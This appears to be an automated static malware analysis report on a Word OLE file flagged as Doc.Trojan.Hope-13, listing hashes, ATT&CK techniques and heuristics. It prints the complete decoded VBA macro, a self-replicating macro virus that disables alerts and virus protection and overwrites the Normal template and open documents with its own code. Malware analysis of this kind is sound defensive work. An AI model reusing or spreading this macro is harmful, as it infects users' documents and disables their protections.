Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f28df166fef1fdb8…

MALICIOUS

Office (OLE)

32.5 KB Created: 1999-10-27 20:42:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2a89368af4dac0a6fea2eb2671f059ba SHA-1: 1a1b769892925c83d34bd000366fed21009dca31 SHA-256: f28df166fef1fdb829ce4eef2d49ce8407d5858a10acdfe1aae6ec39a0db8fbb
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for malicious documents. The script attempts to disable application alerts and confirm conversions, and then overwrites the NormalTemplate's macro code with its own. It also attempts to save the active document with its own macro code, likely to ensure persistence. The ClamAV detection 'Doc.Trojan.Hope-13' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Hope-13 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hope-13
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1314 bytes
SHA-256: 9c76c53f02e104a62f58aa7a4092bb5802035fc74e04f3f6bcd7ad974e5c05f7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Application.DisplayAlerts = wdAlertsNone
Application.EnableCancelKey = wdCancelDisabled
Options.ConfirmConversions = 0
Options.SaveNormalPrompt = 0
Options.VirusProtection = 0
MV = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
SetAttr NormalTemplate.FullName, vbNormal
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString MV
NormalTemplate.Saved = True
If ActiveDocument.ReadOnly = True Then
SetAttr ActiveDocument.FullName, vbNormal
ActiveDocument.Reload
End If
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString MV
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
'AntiReadOnly By Lys Kovick

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